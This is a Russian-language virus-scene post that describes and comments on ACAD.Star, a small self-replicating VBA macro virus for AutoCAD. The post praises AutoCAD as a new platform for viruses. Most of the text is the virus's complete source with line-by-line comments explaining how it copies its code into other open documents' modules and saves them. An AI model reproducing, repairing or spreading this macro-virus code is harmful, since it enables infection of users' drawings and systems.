ACAD.Star. Комментарии. - 27:07 - by Ultras
 
Описание
~~~~~~~~

ACAD.Star является макро-вирусом длиной всего 568 байт, написанным на языке VBA. 
Примитивность касается не только его размера, но и строения: из-за плохого знания 
особенностей работы AutoCAD и VBA автор вируса допустил ряд ошибок, которые делают 
практически невозможным размножение вируса в нормальных условиях.

О вирусе
~~~~~~~~

Три раза в жизни я видел AutoCad, так что я не могу судить о написание этого вируса.
Но все таки ошибки есть, можно было вирус по другому написать и без глюков, мне кажется 
в вирусе куча ненужных меток и дерьма. Автору можно было покапаться еще пару часов чтобы 
довести вирус до ума. Но все таки вот появилась новая платформа для вирей.! 

Private Sub AcadDocument_Deactivate()
' если текущий документ autocad не активен то
Set VBEModel = VBE
' ставим метку
On Error GoTo runtonext
' если ошибка то runtonext
For i = 1 To Documents.Count
' проверяем все доки
Set at = VBEModel.codepanes(i).codemodule
' ставим еще одну метку
If at.lines(2, 1) = "Set VBEModel = VBE" And terr = 0 Then
' проверяем если во второй строке есть такие значения и метка равна 0
newroutine = at.lines(1, at.countoflines)
' если да, прочтем весь модуль 
terr = 1
' полставим метку 1
i = 0
' обнулим цикл
End If
' закончим проверку
If at.lines(2, 1) <> "Set VBEModel = VBE" And terr = 1 Then
' проверяем если во второй строке есть такие значения и метка равна 1
VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine
' то записываем туда свое тело...
thisdocument.Save
' сохраняем документ
End If
' закончим проверку
runtonext:
Next i
' далее

'[Autocad2k\Star]
'[A.s.T]
'Big Greetz to some0ne really special
'"You`ll always be a star in my sky"

' Инфа
End Sub